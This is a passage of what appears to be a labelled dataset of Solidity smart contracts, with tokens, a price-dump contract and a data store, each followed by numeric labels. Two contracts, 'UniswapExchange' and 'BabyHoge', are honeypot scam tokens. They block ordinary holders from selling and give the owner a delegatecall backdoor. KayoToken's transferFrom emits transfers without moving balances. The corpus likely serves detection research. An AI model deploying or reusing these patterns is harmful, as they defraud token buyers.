require(saleClosed);
saleClosed = false;
return true;
}
function bury() public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= claimAmount);
require(balances[msg.sender] <= retentionMax);
buried[msg.sender] = true;
claimed[msg.sender] = 1;
Bury(msg.sender, balances[msg.sender]);
return true;
}
function claim(address _payout, address _fee) public returns (bool success) {
require(buried[msg.sender]);
require(_payout != _fee);
require(msg.sender != _payout);
require(msg.sender != _fee);
require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch);
require(balances[msg.sender] >= claimAmount);
claimed[msg.sender] = block.timestamp;
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
balances[msg.sender] -= claimAmount;
balances[_payout] += payAmount;
balances[_fee] += feeAmount;
Claim(msg.sender, _payout, _fee);
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
return true;
}
function () public payable {
require(!saleClosed);
require(msg.value >= 1 finney);
uint256 amount = msg.value * 10000;
require(totalSupply + amount <= (4000000 * 10 ** uint256(decimals)));
totalSupply += amount;
balances[msg.sender] += amount;
funds += msg.value;
Transfer(this, msg.sender, amount);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!buried[_from]);
if (buried[_to]) {
require(balances[_to] + _value <= retentionMax);
}
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!buried[_from]);
require(balances[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,231 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 281 |
pragma solidity ^0.7.6;
pragma abicoder v2;
contract AleToschiSwitchPriceDumper {
address private owner = msg.sender;
uint256 public immutable fromBlock;
uint256 public blockNumber;
mapping(address => uint256) public pricePerETH;
address[] private _tokenAddresses;
address[] private _liquidityPoolAddresses;
IAMM public amm;
event PriceDump(address indexed from, address indexed to, uint256 pricePerETH);
constructor(uint256 _fromBlock, address[] memory tokenAddresses, address[] memory liquidityPoolAddresses, address ammAddress) {
fromBlock = _fromBlock;
_tokenAddresses = tokenAddresses;
_liquidityPoolAddresses = liquidityPoolAddresses;
amm = IAMM(ammAddress);
}
receive() external payable {
_ensureTime();
}
function addresses() external view returns(address[] memory tokenAddresses, address[] memory liquidityPoolAddresses) {
return (tokenAddresses = _tokenAddresses, liquidityPoolAddresses = _liquidityPoolAddresses);
}
function _ensureTime() private view {
require(blockNumber == 0, "Already dumped BRO");
require(block.number >= fromBlock, "Too early to dump BRO");
}
function dump() external {
_ensureTime();
require(msg.sender == owner, "Unauthorized");
(address ethereumAddress,,) = amm.data();
address[] memory path = new address[](1);
path[0] = ethereumAddress;
SwapData memory data = SwapData({
enterInETH : false,
exitInETH : true,
liquidityPoolAddresses : new address[](1),
path : path,
inputToken : address(0),
amount : 0,
receiver : address(this)
});
for(uint256 i = 0; i < _tokenAddresses.length; i++) {
uint256 unity = 1 * (10**IERC20(_tokenAddresses[i]).decimals());
IERC20(_tokenAddresses[i]).approve(address(amm), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
data.inputToken = _tokenAddresses[i];
data.amount = unity;
data.liquidityPoolAddresses[0] = _liquidityPoolAddresses[i];
emit PriceDump(_tokenAddresses[i], ethereumAddress, pricePerETH[_tokenAddresses[i]] = amm.swapLiquidity(data));
}
blockNumber = block.number;
owner.call{value : address(this).balance}("");
}
}
struct SwapData {
bool enterInETH;
bool exitInETH;
address[] liquidityPoolAddresses;
address[] path;
address inputToken;
uint256 amount;
address receiver;
}
interface IAMM {
function data() external view returns(address ethereumAddress, uint256 maxTokensPerLiquidityPool, bool hasUniqueLiquidityPools);
function swapLiquidity(SwapData calldata data) external payable returns(uint256);
}
interface IERC20 {
function decimals() external view returns(uint256);
function approve(address spender, uint256 amount) external returns (bool);
} | 0 | 1,043 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyHoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,316 |
pragma solidity ^0.4.18;
contract Owned {
modifier onlyOwner { require(msg.sender == owner); _; }
address public owner;
function Owned() public { owner = msg.sender;}
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}
contract TokenController {
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract KayoToken is Owned {
string public name;
uint8 public decimals;
string public symbol;
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
KayoToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
uint public preSaleTokenBalances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
bool public IsPreSaleEnabled = false;
bool public IsSaleEnabled = false;
bool public IsAirDropEnabled = false;
address public owner;
address public airDropManager;
uint public allowedAirDropTokens;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
modifier canReleaseToken {
if (IsSaleEnabled == true || IsPreSaleEnabled == true)
_;
else
revert();
}
modifier onlyairDropManager {
require(msg.sender == airDropManager); _;
}
function KayoToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
owner = _tokenFactory;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = KayoToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
transferFrom(msg.sender, _to, _amount);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPreSale (bool _value) onlyOwner public {
IsPreSaleEnabled = _value;
}
function setSale (bool _value) onlyOwner public {
IsSaleEnabled = _value;
}
function setAirDrop (bool _value) onlyOwner public {
IsAirDropEnabled = _value;
}
function setAirDropManager (address _address) onlyOwner public{
airDropManager = _address;
}
function setairDropManagerLimit(uint _amount) onlyOwner public returns (bool success){
allowedAirDropTokens = _amount;
approve(airDropManager, _amount);
return true;
}
function airDrop(address _to, uint256 _amount) onlyairDropManager public returns (bool success){
require((_to != 0) && (_to != address(this)));
require(IsAirDropEnabled);
require(allowed[owner][msg.sender] >= _amount);
allowed[owner][msg.sender] -= _amount;
Transfer(owner, _to, _amount);
return true;
}
function invest(address _to, uint256 _amount) canReleaseToken onlyOwner public returns (bool success) {
require((_to != 0) && (_to != address(this)));
bool IsTransferAllowed = false;
if(IsPreSaleEnabled){
require(preSaleTokenBalances >= _amount);
IsTransferAllowed = true;
preSaleTokenBalances = preSaleTokenBalances - _amount;
}
else if(IsSaleEnabled){
IsTransferAllowed = true;
}
else{
revert();
}
require(IsTransferAllowed);
var previousBalanceFrom = balanceOfAt(msg.sender, block.number);
require(previousBalanceFrom >= _amount);
updateValueAtNow(balances[msg.sender], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
transferFrom(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
require(IsSaleEnabled && !IsPreSaleEnabled);
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
if (msg.sender != owner) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 tokenBalance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isValidAddress(owner)) {
require(TokenController(owner).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(msg.sender,_amount,this,_extraData);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function generateTokens(address _owner, uint _amount) public onlyOwner returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
uint256 _bal = _amount * 30;
preSaleTokenBalances = preSaleTokenBalances + _bal / 100;
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount) onlyOwner public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function destroyAllTokens(address _owner) onlyOwner public returns (bool) {
updateValueAtNow(totalSupplyHistory, 0);
updateValueAtNow(balances[_owner], 0);
Transfer(_owner, 0, 0);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyOwner {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint minValue = 0;
uint maximum = checkpoints.length-1;
while (maximum > minValue) {
uint midddle = (maximum + minValue + 1)/ 2;
if (checkpoints[midddle].fromBlock<=_block) {
minValue = midddle;
} else {
maximum = midddle-1;
}
}
return checkpoints[minValue].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal {
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isValidAddress(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
} | 1 | 5,536 |
pragma solidity ^0.4.17;
contract ExtendData {
struct User {
bytes32 username;
bool verified;
}
modifier onlyOwners {
require(owners[msg.sender]);
_;
}
mapping(bytes32 => address) usernameToAddress;
mapping(bytes32 => address) queryToAddress;
mapping(address => mapping(bytes32 => uint)) tips;
mapping(address => mapping(bytes32 => uint)) lastTip;
mapping(bytes32 => uint) balances;
mapping(address => User) users;
mapping(address => bool) owners;
function ExtendData() public {
owners[msg.sender] = true;
}
function getAddressForUsername(bytes32 _username) public constant onlyOwners returns (address) {
return usernameToAddress[_username];
}
function getAddressForQuery(bytes32 _queryId) public constant onlyOwners returns (address) {
return queryToAddress[_queryId];
}
function getBalanceForUser(bytes32 _username) public constant onlyOwners returns (uint) {
return balances[_username];
}
function getUserVerified(address _address) public constant onlyOwners returns (bool) {
return users[_address].verified;
}
